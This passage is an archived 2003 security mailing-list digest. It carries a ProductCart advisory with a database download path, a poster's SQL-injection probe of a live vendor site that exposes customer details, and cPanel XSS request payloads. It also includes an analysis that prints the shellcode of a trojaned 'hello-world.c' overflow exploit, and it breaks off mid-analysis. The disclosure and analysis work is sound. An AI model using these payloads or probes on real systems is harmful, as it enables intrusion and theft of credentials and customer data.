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From: intercool at sexmagnet.com (Markus Nielsen)
Subject: Re: Full-Disclosure digest, Vol 1 #933 - 11 msgs

On Sun, 2003-07-06 at 16:00, full-disclosure-request@...ts.netsys.com
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>    1. [Vulnerability] : ProductCart database file can be downloaded remotely (Tri Huynh)
>    2. Re: [Vulnerability] : ProductCart database file can be downloaded remotely (gyrniff)
>    3. Re: [Vulnerability] : ProductCart database file
>        can be downloaded remotely (KF)
>    4. Re: [Vulnerability] : ProductCart database file can be downloaded remotely (morning_wood)
>    5. cPanel Malicious HTML Tags Injection Vulnerability (Ory Segal)
>    6. cPanel Malicious HTML Tags Injection Vulnerability (Ory Segal)
>    7. Re: tripbid secure codes (Dave Korn)
>    8. Re: [Vulnerability] : ProductCart database file
>        can be downloaded remotely (Larry W. Cashdollar)
>    9. Re: Microsoft Cries Wolf ( again ) (Kristian Hermansen)
> 
> --__--__--
> 
> Message: 1
> From: "Tri Huynh" <trihuynh@...up.com>
> To: <bugtraq@...urityfocus.com>
> Cc: <full-disclosure@...ts.netsys.com>
> Date: Sat, 5 Jul 2003 13:07:51 -0700
> Subject: [Full-Disclosure] [Vulnerability] : ProductCart database file can be downloaded remotely
> 
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> ProductCart database file can be downloaded remotely
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> 
> PROGRAM: ProductCart
> HOMEPAGE: http://www.earlyimpact.com/productcart/
> VULNERABLE VERSIONS: 1.0 to 2.0
> RISK: High
> 
> 
> DESCRIPTION
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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> 
> ProductCart=AE is an ASP shopping cart that combines sophisticated=20
> ecommerce features with time-saving store management tools and =
> remarkable=20
> ease of use. It is widely used by many e-commerce sites.
> 
> DETAILS
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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> 
> In the default installation, product cart database file is located at=20
> /productcart/database/EIPC.mdb which can be accessed easily
> by any remote attackers.
> 
> Sample: http://victimhost/productcart/database/EIPC.mdb
> 
> The database file includes the store administration password as well as=20
> customer's info (including credit card info).=20
> =20
> 
>  WORKAROUND
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> 
> Rename the database file, put it in a protected directory.
> 
> 
> CREDITS
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> 
> Discovered by Tri Huynh from Sentry Union
> 
> 
> DISLAIMER
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> 
> The information within this paper may change without notice. Use of
> this information constitutes acceptance for use in an AS IS condition.
> There are NO warranties with regard to this information. In no event
> shall the author be liable for any damages whatsoever arising out of
> or in connection with the use or spread of this information. Any use
> of this information is at the user's own risk.
> 
> 
> FEEDBACK
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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> 
> Please send suggestions, updates, and comments to: trihuynh@...up.com
> 
> 
> 
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> <META http-equiv=3DContent-Type content=3D"text/html; =
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> <META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR>
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> <DIV><FONT face=3DArial size=3D2><!--StartFragment -->ProductCart =
> database file can=20
> be downloaded=20
> remotely<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
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> =3D=3D=3D<BR><BR>PROGRAM:=20
> ProductCart</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2>HOMEPAGE: <A=20
> href=3D"http://www.earlyimpact.com/productcart/">http://www.earlyimpact.c=
> om/productcart/</A><BR>VULNERABLE=20
> VERSIONS: 1.0 to 2.0</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2>RISK: High</FONT></DIV><FONT =
> face=3DArial size=3D2>
> <DIV><BR>&nbsp;</DIV>
> <DIV>DESCRIPTION<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D<BR><BR><!--StartFragment -->ProductCart=AE=20
> is an ASP shopping cart that combines sophisticated </DIV>
> <DIV>ecommerce features&nbsp;with time-saving store management tools and =
> 
> remarkable </DIV>
> <DIV>ease of use. It is widely used by many e-commerce=20
> sites.<BR><BR>DETAILS<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D<BR><BR>In=20
> the default installation, product cart database file is located at =
> </DIV>
> <DIV>/productcart/database/EIPC.mdb which can be accessed easily</DIV>
> <DIV>by any remote attackers.</DIV>
> <DIV>&nbsp;</DIV>
> <DIV>Sample: <A=20
> href=3D"http://victimhost/productcart/database/EIPC.mdb">http://victimhos=
> t/productcart/database/EIPC.mdb</A></DIV>
> <DIV>&nbsp;</DIV>
> <DIV>The database file includes the store administration password as =
> well as=20
> </DIV>
> <DIV>customer's info (including credit card&nbsp;info). </DIV>
> <DIV>&nbsp;<BR><BR>=20
> WORKAROUND<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D<BR><BR>Rename=20
> the database file, put it in a protected=20
> directory.<BR><BR><BR>CREDITS<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR><BR>Discovered=20
> by Tri Huynh from Sentry Union</DIV>
> <DIV><BR><BR>DISLAIMER<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D<BR><BR>The=20
> information within this paper may change without notice. Use of<BR>this=20
> information constitutes acceptance for use in an AS IS =
> condition.<BR>There are=20
> NO warranties with regard to this information. In no event<BR>shall the =
> author=20
> be liable for any damages whatsoever arising out of<BR>or in connection =
> with the=20
> use or spread of this information. Any use<BR>of this information is at =
> the=20
> user's own=20
> risk.<BR><BR><BR>FEEDBACK<BR>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
> =3D=3D=3D=3D=3D=3D=3D=3D=3D<BR><BR>Please=20
> send suggestions, updates, and comments to: <A=20
> href=3D"mailto:trihuynh@...up.com">trihuynh@...up.com</A><BR><BR><BR><BR>=
> </DIV></FONT></BODY></HTML>
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> 
> --__--__--
> 
> Message: 2
> From: gyrniff <b240503@...niff.dk>
> To: full-disclosure@...ts.netsys.com
> Subject: Re: [Full-Disclosure] [Vulnerability] : ProductCart database file can be downloaded remotely
> Date: Sat, 5 Jul 2003 19:37:41 +0200
> 
> URL: 
> http://www.earlyimpact.com/productcart/build_to_order/productcart/pcadmin/Orddetails.asp?id=239
> Change the name Paul to Paul'
> 
> Microsoft OLE DB Provider for ODBC Drivers
>  error '80040e14' 
> [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in 
> query expression ''Paul'',lastName='Smith',customerCompany='Early Impact', 
> address='3226 Colorado Ave', city='Santa Monica', zip='90004', 
> stateCode='CA', CountryCode='US', phone='949 452 0062' WHERE idCustomer=115'. 
> /productcart/build_to_order/productcart/pcadmin/processOrder.asp, line 36
> 
> have a nice weekend ;-)
> 
> On Saturday 05 July 2003 22:07, Tri Huynh wrote:
> > ProductCart database file can be downloaded remotely
> > =================================================
> >
> > PROGRAM: ProductCart
> > HOMEPAGE: http://www.earlyimpact.com/productcart/
> > VULNERABLE VERSIONS: 1.0 to 2.0
> > RISK: High
> >
> >
> > DESCRIPTION
> > =================================================
> >
> > ProductCart? is an ASP shopping cart that combines sophisticated
> > ecommerce features with time-saving store management tools and remarkable
> > ease of use. It is widely used by many e-commerce sites.
> >
> > DETAILS
> > =================================================
> >
> > In the default installation, product cart database file is located at
> > /productcart/database/EIPC.mdb which can be accessed easily
> > by any remote attackers.
> >
> > Sample: http://victimhost/productcart/database/EIPC.mdb
> >
> > The database file includes the store administration password as well as
> > customer's info (including credit card info).
> >
> >
> >  WORKAROUND
> > =================================================
> >
> > Rename the database file, put it in a protected directory.
> >
> >
> > CREDITS
> > =================================================
> >
> > Discovered by Tri Huynh from Sentry Union
> >
> >
> > DISLAIMER
> > =================================================
> >
> > The information within this paper may change without notice. Use of
> > this information constitutes acceptance for use in an AS IS condition.
> > There are NO warranties with regard to this information. In no event
> > shall the author be liable for any damages whatsoever arising out of
> > or in connection with the use or spread of this information. Any use
> > of this information is at the user's own risk.
> >
> >
> > FEEDBACK
> > =================================================
> >
> > Please send suggestions, updates, and comments to: trihuynh@...up.com
> 
> 
> --__--__--
> 
> Message: 3
> Date: Sat, 05 Jul 2003 15:30:28 -0400
> From: KF <dotslash@...soft.com>
> To: gyrniff <b240503@...niff.dk>
> CC: full-disclosure@...ts.netsys.com
> Subject: Re: [Full-Disclosure] [Vulnerability] : ProductCart database file
>  can be downloaded remotely
> 
> Was that legit California data? I am sure than making someone have a 
> nice weekend you just made multiple someones have a shitty month ahead 
> of them...
> http://www.theregister.co.uk/content/55/31509.html
> 
> -KF
> 
> gyrniff wrote:
> 
> >URL: 
> >http://www.earlyimpact.com/productcart/build_to_order/productcart/pcadmin/Orddetails.asp?id=239
> >Change the name Paul to Paul'
> >
> >Microsoft OLE DB Provider for ODBC Drivers
> > error '80040e14' 
> >[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in 
> >query expression ''Paul'',lastName='Smith',customerCompany='Early Impact', 
> >address='3226 Colorado Ave', city='Santa Monica', zip='90004', 
> >stateCode='CA', CountryCode='US', phone='949 452 0062' WHERE idCustomer=115'. 
> >/productcart/build_to_order/productcart/pcadmin/processOrder.asp, line 36
> >
> >have a nice weekend ;-)
> >
> >On Saturday 05 July 2003 22:07, Tri Huynh wrote:
> >  
> >
> >>ProductCart database file can be downloaded remotely
> >>=================================================
> >>
> >>PROGRAM: ProductCart
> >>HOMEPAGE: http://www.earlyimpact.com/productcart/
> >>VULNERABLE VERSIONS: 1.0 to 2.0
> >>RISK: High
> >>
> >>
> >>DESCRIPTION
> >>=================================================
> >>
> >>ProductCart? is an ASP shopping cart that combines sophisticated
> >>ecommerce features with time-saving store management tools and remarkable
> >>ease of use. It is widely used by many e-commerce sites.
> >>
> >>DETAILS
> >>=================================================
> >>
> >>In the default installation, product cart database file is located at
> >>/productcart/database/EIPC.mdb which can be accessed easily
> >>by any remote attackers.
> >>
> >>Sample: http://victimhost/productcart/database/EIPC.mdb
> >>
> >>The database file includes the store administration password as well as
> >>customer's info (including credit card info).
> >>
> >>
> >> WORKAROUND
> >>=================================================
> >>
> >>Rename the database file, put it in a protected directory.
> >>
> >>
> >>CREDITS
> >>=================================================
> >>
> >>Discovered by Tri Huynh from Sentry Union
> >>
> >>
> >>DISLAIMER
> >>=================================================
> >>
> >>The information within this paper may change without notice. Use of
> >>this information constitutes acceptance for use in an AS IS condition.
> >>There are NO warranties with regard to this information. In no event
> >>shall the author be liable for any damages whatsoever arising out of
> >>or in connection with the use or spread of this information. Any use
> >>of this information is at the user's own risk.
> >>
> >>
> >>FEEDBACK
> >>=================================================
> >>
> >>Please send suggestions, updates, and comments to: trihuynh@...up.com
> >>    
> >>
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> >  
> >
> 
> 
> 
> --__--__--
> 
> Message: 4
> From: "morning_wood" <se_cur_ity@...mail.com>
> To: "gyrniff" <b240503@...niff.dk>, <full-disclosure@...ts.netsys.com>
> Subject: Re: [Full-Disclosure] [Vulnerability] : ProductCart database file can be downloaded remotely
> Date: Sat, 5 Jul 2003 15:24:46 -0700
> 
> vuln to XSS too..
> 
> http://www.earlyimpact.com/productcart/build_to_order/productcart/pcadmin/manageCategories.asp
> 
> ----- Original Message ----- 
> From: "gyrniff" <b240503@...niff.dk>
> To: <full-disclosure@...ts.netsys.com>
> Sent: Saturday, July 05, 2003 10:37 AM
> Subject: Re: [Full-Disclosure] [Vulnerability] : ProductCart database
> file can be downloaded remotely
> 
> 
> > URL:
> >
> http://www.earlyimpact.com/productcart/build_to_order/productcart/pcadmin/Orddetails.asp?id=239
> > Change the name Paul to Paul'
> >
> > Microsoft OLE DB Provider for ODBC Drivers
> >  error '80040e14'
> > [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing
> operator) in
> > query expression ''Paul'',lastName='Smith',customerCompany='Early
> Impact',
> > address='3226 Colorado Ave', city='Santa Monica', zip='90004',
> > stateCode='CA', CountryCode='US', phone='949 452 0062' WHERE
> idCustomer=115'.
> > /productcart/build_to_order/productcart/pcadmin/processOrder.asp,
> line 36
> >
> > have a nice weekend ;-)
> >
> > On Saturday 05 July 2003 22:07, Tri Huynh wrote:
> > > ProductCart database file can be downloaded remotely
> > > =================================================
> > >
> > > PROGRAM: ProductCart
> > > HOMEPAGE: http://www.earlyimpact.com/productcart/
> > > VULNERABLE VERSIONS: 1.0 to 2.0
> > > RISK: High
> > >
> > >
> > > DESCRIPTION
> > > =================================================
> > >
> > > ProductCart? is an ASP shopping cart that combines sophisticated
> > > ecommerce features with time-saving store management tools and
> remarkable
> > > ease of use. It is widely used by many e-commerce sites.
> > >
> > > DETAILS
> > > =================================================
> > >
> > > In the default installation, product cart database file is located
> at
> > > /productcart/database/EIPC.mdb which can be accessed easily
> > > by any remote attackers.
> > >
> > > Sample: http://victimhost/productcart/database/EIPC.mdb
> > >
> > > The database file includes the store administration password as
> well as
> > > customer's info (including credit card info).
> > >
> > >
> > >  WORKAROUND
> > > =================================================
> > >
> > > Rename the database file, put it in a protected directory.
> > >
> > >
> > > CREDITS
> > > =================================================
> > >
> > > Discovered by Tri Huynh from Sentry Union
> > >
> > >
> > > DISLAIMER
> > > =================================================
> > >
> > > The information within this paper may change without notice. Use
> of
> > > this information constitutes acceptance for use in an AS IS
> condition.
> > > There are NO warranties with regard to this information. In no
> event
> > > shall the author be liable for any damages whatsoever arising out
> of
> > > or in connection with the use or spread of this information. Any
> use
> > > of this information is at the user's own risk.
> > >
> > >
> > > FEEDBACK
> > > =================================================
> > >
> > > Please send suggestions, updates, and comments to:
> trihuynh@...up.com
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.netsys.com/full-disclosure-charter.html
> >
> 
> --__--__--
> 
> Message: 5
> From: Ory Segal <ORY.SEGAL@...CTUMINC.COM>
> To: "BugTraq (E-mail)" <BUGTRAQ@...URITYFOCUS.COM>,
>    "Full Disclosure (E-mail)" <full-disclosure@...ts.netsys.com>,
>    "WebAppSec (E-mail)" <webappsec@...URITYFOCUS.COM>
> Date: Sun, 6 Jul 2003 01:39:33 -0700 
> Subject: [Full-Disclosure] cPanel Malicious HTML Tags Injection Vulnerability
> 
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> ////////////////////////////////////////////////////////////////////////////
> ///
> //==========================>> Security Advisory
> <<==========================//
> ////////////////////////////////////////////////////////////////////////////
> ///
> 
> ----------------------------------------------------------------------------
> ---
> -----[ cPanel Malicious HTML Tags Injection Vulnerability
> ----------------------------------------------------------------------------
> ---
> 
> --[ Author: Ory Segal, Sanctum inc. http://www.SanctumInc.com
> --[ Discovery Date: 06/17/2003 (Vendor was notified)
> --[ Release Date: 07/06/2003 
> --[ Product: Tested on cPanel 6.4.2-STABLE
> --[ Severity: Medium
> --[ CVE: Not assigned yet
> 
> --[ Summary
> 
> From the vendor's web site:
> "...The Cpanel interface is a client side interface, which allows your
> customers 
> to easily control a web hosting account. With the touch of a button, they
> can 
> add e-mail accounts, access their files, backup their files, setup a
> shopping 
> cart, and more..."
> 
> Web users can embed Malicious HTML tags in HTTP requests, which will later 
> be parsed by the web site administrator's browser, in several cPanel
> screens. 
> This may lead to theft of cookies associated with the domain, or execution
> of 
> client-side scripts in the administrator's browser.
>  
> --[ Description
> 
> The 'Error Log' and 'Latest Visitors' screens in cPanel, provide the web
> site 
> administrator with HTTP request logs. These scripts do not sanitize the URL
> part 
> of HTTP requests and present them to the administrator as is, thus, allowing
> an 
> attacker to embed malicious HTML tags that will later be parsed and executed
> by 
> the administrators browser.
> 
> For example, lets take a look at the 'Error Log' screen:
> 
> [From errlog.html]
> ...
> <b>Last 300 Error Log Messages in reverse order:</b><hr>
> <pre>
> [Tue Jun 17 08:41:14 2003] [error] [client x.x.x.x] File does not exist: 
> /home/dir/public_html/foobar.html
> </pre>
> ...
> 
> The following request will present a pop-up screen with the cookies 
> that are currently associated with the domain:
> 
>   GET /<script>alert(document.cookie);</script> HTTP/1.0
>   Host: www.site.com
> 
> 
> --[ Note
> 
> The 'Latest Visitors' screen of the tested version (6.4.2-STABLE) presented
> the 
> latest requests as HTML links, thus the malicious payload must terminate the
> <a> 
> tag before opening a new one. For example:
> 
>   GET /"></a><script>alert(document.cookie);</script> HTTP/1.0
>   Host: www.site.com
> 
> --[ Solution
> 
> According to the vendor, the problem was fixed in version 7.0, which can be 
> downloaded at: http://www.cpanel.net/downloads.htm
> 
> 
> 
> 
>           Ory Segal
>   Senior Security Engineer
>         Sanctum, Inc.
>  http://www.SanctumInc.Com/
> 
> Ampa Bldg.,  1 Sapir Street.
> Mail:     P.O.Box      12047
> Herzliya    46733,    ISRAEL
> 
> Tel: +972-9-9586077 Ext. 236
> Fax: +972-9-9576337
> 
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> 
> <P><FONT SIZE=3D2>--[ Author: Ory Segal, Sanctum inc. <A =
> HREF=3D"http://www.SanctumInc.com" =
> TARGET=3D"_blank">http://www.SanctumInc.com</A></FONT>
> <BR><FONT SIZE=3D2>--[ Discovery Date: 06/17/2003 (Vendor was =
> notified)</FONT>
> <BR><FONT SIZE=3D2>--[ Release Date: 07/06/2003 </FONT>
> <BR><FONT SIZE=3D2>--[ Product: Tested on cPanel 6.4.2-STABLE</FONT>
> <BR><FONT SIZE=3D2>--[ Severity: Medium</FONT>
> <BR><FONT SIZE=3D2>--[ CVE: Not assigned yet</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>--[ Summary</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>From the vendor's web site:</FONT>
> <BR><FONT SIZE=3D2>&quot;...The Cpanel interface is a client side =
> interface, which allows your customers </FONT>
> <BR><FONT SIZE=3D2>to easily control a web hosting account. With the =
> touch of a button, they can </FONT>
> <BR><FONT SIZE=3D2>add e-mail accounts, access their files, backup =
> their files, setup a shopping </FONT>
> <BR><FONT SIZE=3D2>cart, and more...&quot;</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>Web users can embed Malicious HTML tags in HTTP =
> requests, which will later </FONT>
> <BR><FONT SIZE=3D2>be parsed by the web site administrator's browser, =
> in several cPanel screens. </FONT>
> <BR><FONT SIZE=3D2>This may lead to theft of cookies associated with =
> the domain, or execution of </FONT>
> <BR><FONT SIZE=3D2>client-side scripts in the administrator's =
> browser.</FONT>
> <BR><FONT SIZE=3D2>&nbsp;</FONT>
> <BR><FONT SIZE=3D2>--[ Description</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>The 'Error Log' and 'Latest Visitors' screens in =
> cPanel, provide the web site </FONT>
> <BR><FONT SIZE=3D2>administrator with HTTP request logs. These scripts =
> do not sanitize the URL part </FONT>
> <BR><FONT SIZE=3D2>of HTTP requests and present them to the =
> administrator as is, thus, allowing an </FONT>
> <BR><FONT SIZE=3D2>attacker to embed malicious HTML tags that will =
> later be parsed and executed by </FONT>
> <BR><FONT SIZE=3D2>the administrators browser.</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>For example, lets take a look at the 'Error Log' =
> screen:</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>[From errlog.html]</FONT>
> <BR><FONT SIZE=3D2>...</FONT>
> <BR><FONT SIZE=3D2>&lt;b&gt;Last 300 Error Log Messages in reverse =
> order:&lt;/b&gt;&lt;hr&gt;</FONT>
> <BR><FONT SIZE=3D2>&lt;pre&gt;</FONT>
> <BR><FONT SIZE=3D2>[Tue Jun 17 08:41:14 2003] [error] [client x.x.x.x] =
> File does not exist: </FONT>
> <BR><FONT SIZE=3D2>/home/dir/public_html/foobar.html</FONT>
> <BR><FONT SIZE=3D2>&lt;/pre&gt;</FONT>
> <BR><FONT SIZE=3D2>...</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>The following request will present a pop-up screen =
> with the cookies </FONT>
> <BR><FONT SIZE=3D2>that are currently associated with the =
> domain:</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>&nbsp; GET =
> /&lt;script&gt;alert(document.cookie);&lt;/script&gt; HTTP/1.0</FONT>
> <BR><FONT SIZE=3D2>&nbsp; Host: www.site.com</FONT>
> </P>
> <BR>
> 
> <P><FONT SIZE=3D2>--[ Note</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>The 'Latest Visitors' screen of the tested version =
> (6.4.2-STABLE) presented the </FONT>
> <BR><FONT SIZE=3D2>latest requests as HTML links, thus the malicious =
> payload must terminate the &lt;a&gt; </FONT>
> <BR><FONT SIZE=3D2>tag before opening a new one. For example:</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>&nbsp; GET =
> /&quot;&gt;&lt;/a&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt=
> ; HTTP/1.0</FONT>
> <BR><FONT SIZE=3D2>&nbsp; Host: www.site.com</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>--[ Solution</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>According to the vendor, the problem was fixed in =
> version 7.0, which can be </FONT>
> <BR><FONT SIZE=3D2>downloaded at: <A =
> HREF=3D"http://www.cpanel.net/downloads.htm" =
> TARGET=3D"_blank">http://www.cpanel.net/downloads.htm</A></FONT>
> </P>
> <BR>
> <BR>
> <BR>
> 
> <P><FONT =
> SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ory =
> Segal</FONT>
> <BR><FONT SIZE=3D2>&nbsp; Senior Security Engineer</FONT>
> <BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sanctum, =
> Inc.</FONT>
> <BR><FONT SIZE=3D2>&nbsp;<A HREF=3D"http://www.SanctumInc.Com/" =
> TARGET=3D"_blank">http://www.SanctumInc.Com/</A></FONT>
> </P>
> 
> <P><FONT SIZE=3D2>Ampa Bldg.,&nbsp; 1 Sapir Street.</FONT>
> <BR><FONT SIZE=3D2>Mail:&nbsp;&nbsp;&nbsp;&nbsp; =
> P.O.Box&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 12047</FONT>
> <BR><FONT SIZE=3D2>Herzliya&nbsp;&nbsp;&nbsp; 46733,&nbsp;&nbsp;&nbsp; =
> ISRAEL</FONT>
> </P>
> 
> <P><FONT SIZE=3D2>Tel: +972-9-9586077 Ext. 236</FONT>
> <BR><FONT SIZE=3D2>Fax: +972-9-9576337</FONT>
> </P>
> 
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> 
> Message: 6
> Date: Sun, 06 Jul 2003 11:46:44 +0300
> From: Ory Segal <ory.segal@...ctuminc.com>
> To: BUGTRAQ@...URITYFOCUS.COM, full-disclosure@...ts.netsys.com,
>    webappsec@...URITYFOCUS.COM
> Subject: [Full-Disclosure] cPanel Malicious HTML Tags Injection Vulnerability
> 
> -------------------------------------------------------------------------------
> -----[ cPanel Malicious HTML Tags Injection Vulnerability
> -------------------------------------------------------------------------------
> 
> --[ Author: Ory Segal, Sanctum inc. http://www.SanctumInc.com
> --[ Discovery Date: 06/17/2003 (Vendor was notified)
> --[ Release Date: 07/06/2003
> --[ Product: Tested on cPanel 6.4.2-STABLE
> --[ Severity: Medium
> --[ CVE: Not assigned yet
> 
> --[ Summary
> 
>  From the vendor's web site:
> "...The Cpanel interface is a client side interface, which allows your 
> customers
> to easily control a web hosting account. With the touch of a button, 
> they can
> add e-mail accounts, access their files, backup their files, setup a 
> shopping
> cart, and more..."
> 
> Web users can embed Malicious HTML tags in HTTP requests, which will later
> be parsed by the web site administrator's browser, in several cPanel 
> screens.
> This may lead to theft of cookies associated with the domain, or 
> execution of
> client-side scripts in the administrator's browser.
>  
> --[ Description
> 
> The 'Error Log' and 'Latest Visitors' screens in cPanel, provide the web 
> site
> administrator with HTTP request logs. These scripts do not sanitize the 
> URL part
> of HTTP requests and present them to the administrator as is, thus, 
> allowing an
> attacker to embed malicious HTML tags that will later be parsed and 
> executed by
> the administrators browser.
> 
> For example, lets take a look at the 'Error Log' screen:
> 
> [From errlog.html]
> ...
> <b>Last 300 Error Log Messages in reverse order:</b><hr>
> <pre>
> [Tue Jun 17 08:41:14 2003] [error] [client x.x.x.x] File does not exist:
> /home/dir/public_html/foobar.html
> </pre>
> ...
> 
> The following request will present a pop-up screen with the cookies
> that are currently associated with the domain:
> 
>   GET /<script>alert(document.cookie);</script> HTTP/1.0
>   Host: www.site.com
> 
> 
> --[ Note
> 
> The 'Latest Visitors' screen of the tested version (6.4.2-STABLE) 
> presented the
> latest requests as HTML links, thus the malicious payload must terminate 
> the <a>
> tag before opening a new one. For example:
> 
>   GET /"></a><script>alert(document.cookie);</script> HTTP/1.0
>   Host: www.site.com
> 
> --[ Solution
> 
> According to the vendor, the problem was fixed in version 7.0, which can be
> downloaded at: http://www.cpanel.net/downloads.htm
> 
> 
> 
> 
> 
> 
> 
> 
> 
> 
>  
> 
> 
> 
> 
> 
> 
> 
> 
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> 
> Message: 7
> From: "Dave Korn" <davek_throwaway@...mail.com>
> To: full-disclosure@...ts.netsys.com
> Subject: Re: [Full-Disclosure] tripbid secure codes
> Date: Sun, 06 Jul 2003 12:23:01 +0000
> 
> 
> ----- Original Message -----
> From: <auto94042@...hmail.com>
> To: <full-disclosure@...ts.netsys.com>
> Sent: Friday, June 27, 2003 6:25 AM
> Subject: [Full-Disclosure] tripbid secure codes
> 
> 
> >i post the thing to the vuln dev some days ago and get quite a big
> respnose.
> >not only do i get a heart 2 heat with n1xo reiman about portmon ! but
> >some folks want me to look at the code they make, specially a 'hello-
> >world.c' progie -> " holo, can you check my hello-world.c for strcpy
> >?? securecode do the trick " <- paraphase the msg, i rm -rf / it since
> >it make me anger and stress it !
> >
> >i am willing to try the secure code since the grep 'strcpy' is losing
> >his thrills so i trick around with :
> >[user@...alhost]$ ./securecode -s hello-world.c
> 
> 
> Never ever EVER run an insecure program over arbitrary data you receive from
> the net without checking it for safety first.....  Let's look at this
> hello-world.c before we run anything on it....
> 
> 
> Z:\sploits-misc\targzip>type hello-world.c
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!? 
> ?!? ?!? ?!? ?!? ?!? ?!? 
> ?!??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Q??Q??Q??Q?????f????1?1?QQh?b??fh????fQ????SWR?????f??1?9?t?1?????1???????1?????????1?????????1?1?Phn/shh//bi??PS??????1?????
> 
> 
> Heh.  Boy, did j00 get hax0red!  Here's what's actually in that file:
> 
> $0000 - $00ff:  'A' x 256
> $0100 - $011f: DWORD $bffff321 x 8
> $0120 - $0378 $90 = NOP x 600
> $0378 - $03fa: Binary shellcode
> $03fb - $03fc: CR, LF
> <EOF>
> 
> In other words, it's one very long line.  Looks to me like the securecode
> program reads each line of the .c file into a buffer that's only 256 bytes
> long; this exploit fills it with 'A', then overwrites the return address on
> the stack with a pointer into the NOP slide.  Here's a disassembly of the
> shellcode: note that offset 0 in this disassembly is offset $0370 in the
